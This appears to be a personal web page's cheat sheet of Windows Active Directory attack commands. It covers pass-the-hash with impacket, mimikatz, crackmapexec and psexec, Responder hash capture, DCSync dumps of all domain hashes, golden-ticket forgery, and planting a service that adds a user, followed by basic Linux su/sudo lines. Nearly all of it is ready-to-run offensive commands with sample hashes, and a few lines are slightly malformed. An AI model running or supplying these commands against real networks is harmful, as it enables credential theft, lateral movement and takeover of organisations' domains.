PASS THE HASH TECHNIQUES
# WMIEXEC
proxychains python /opt/ActiveDirectory/impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be Administrator@172.16.249.200
# SMBCLIENT
smbclient -U domain/user%hash:hash -n <netbios name> -W <domain> //<ip>/share$
# PTH-WINEXE
pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:3fee04b01f59a1001a366a7681e95699 //10.11.1.123 cmd
# PTH-SMBCLIENT
pth-smbclient //CORPDC01/c$ -U corp/user_a%aad3b435b51404eeaad3b435b51404ee:48663e7b299fe3a7047b937804cdc34d
# CRACKMAPEXEC
crackmapexec <ip> -u user -H <hash>
# MIMIKATZ
privilege::debug
sekurlsa::pth /user:<user> /domain:<domain.com> /ntlm:<hash>
# RDP
xfreerdp /u:admin /d:domain /pth:hash:hash /v:192.168.1.101
# METASPLOIT
use exploit/windows/smb/psexec
set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
# PSEXEC
PsExec.exe -accepteula \\ corpsqlserver01 -s -u corp\user_a -p aad3b435b51404eeaad3b435b51404ee:48663e7b299fe3a7047b937804cdc34d cmd.exe
# IMPACKET SECRETS DUMP
secretsdump.py -just-dc-ntlm –user-status –outputfile | ./NTDSData/CORP/ntds20170711-13.05 -hashes aad3b435b51404eeaad3b435b51404ee:48663e7b299fe3a7047b937804cdc34d corp/user_a@corpdc01
# USING FOUND PASSWORD
$Passw = ConvertTo-SecureString 'P@ssw0rd1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $Passw)
Start-Process C:\Windows\System32\spool\drivers\color\msf.exe -Credential $Cred
Check For Stored Credentials
cmdkey /list
Use Stored Credentials:
runas /user:administrator /savecred "cmd.exe /k whoami"
Access SMB With Credentials:
python /usr/share/doc/python3-impacket/examples/smbclient.py <Domain>/<user>@<ip> -hashes <part1>:<part2>
In Metasploit
use auxiliary/scanner/smb/smb_login
crackmapexec <ip(s)> -d <domain> -u <user> -p <pass>
exploit/windows/smb/psexec
Map A Drive
net use z: \\<ip>\c$ /user:<username> <password>
Gain A Hash
1.) Start responder Be sure to include --lm
responder -I tun0 --lm
2.) Issue dementor to obtain an ntlm response
proxychains python dementor.py -d htb.local -u <user> -p <password> <target ip> <listening ip>
l
METERPRETER KIWI
Get Hash As Domain Admin (kiwi):
dsync_ntlm <domain>\\<user>
Create Golden Ticket (kiwi):
golden_ticket_create -d <domain> -k <krbtgt hash> -s <domain-sid> -u <name, does not have to exist (but can)> -t <filename>
Create Skeleton Ticket With Impacket
python ticketer.py -nthash <hash> -domain-sid <sid> -domain OsbornePro DEV\$
OR
python ticketer.py -nthash <hash> -domain-sid <sid> -domain HTB DEV
OR
python ticketer.py -nthash <hash> -domain-sid <sid> -domain OsbornePro -spn cifs/<ip> <username>
USE THAT CREATED SKELETON TICKET:
1.) Set Value
export KRB5CCNAME=/root/Downloads/Tickets/OsbornePro.cache
2.) Edit krb.conf File
nano /etc/krb5.conf
# CONTENTS
[realms]
DOMAIN.COM = {
kdc = dev.domain.com
kdc = web.domain.com
kdc = dc.domain.com
admin_server = dc.domain.com
}
3.) Connect To Target
proxychains smbclient \\\\<IP>\\C$ -U <user> -C -N
Create A Service To Exploit:
1.) Create A Service To Make A User
python /usr/share/doc/python3-impacket/examples/services.py -dc-ip <ip of domain controller> -k -no-pass <ip of target> create -name <username> -display <username> -path 'net user <username><password> /add'
2.) Check The Service Values
proxychains /usr/share/doc/python3-impacket/examples/services.py -dc-ip <DC IP> -k -no-pass <targetIP> config -name <createduser>
3.) Start The Service To Execute Command
proxychains python /opt/ActiveDirectory/impacket/examples/services.py -dc-ip <DC IP> -k -no-pass <TargetIP> start -name <username>
Use Golden Ticket (kiwi):
kerberos_ticket_use <filename>
Dump Domain Hashes With DCSync:
log
lsadump::dcsync /domain:<domain> /all /csv
Create Golden Ticket Mimikatz:
kerberos::golden /user:<name> /domain: <domain> /sid:<domain-sid> /krbtgt:<krbtgt hash> /ticket:<filename> /groups:<comma seperated groups this 'virtual' user is part of
Use Golden Ticket Mimikatz:
kerberos::ptt <filename>
====================
LINUX
====================
Become another user
su <username>
Become root User:
su -
OR
su root
Execute Command As Root:
sudo <command>
Execute Command As Another User:
sudo -u <username> <command>
If accepted the cookies on this site are used for my own interest in who is viewing the site. I will not profit off of this information in any way.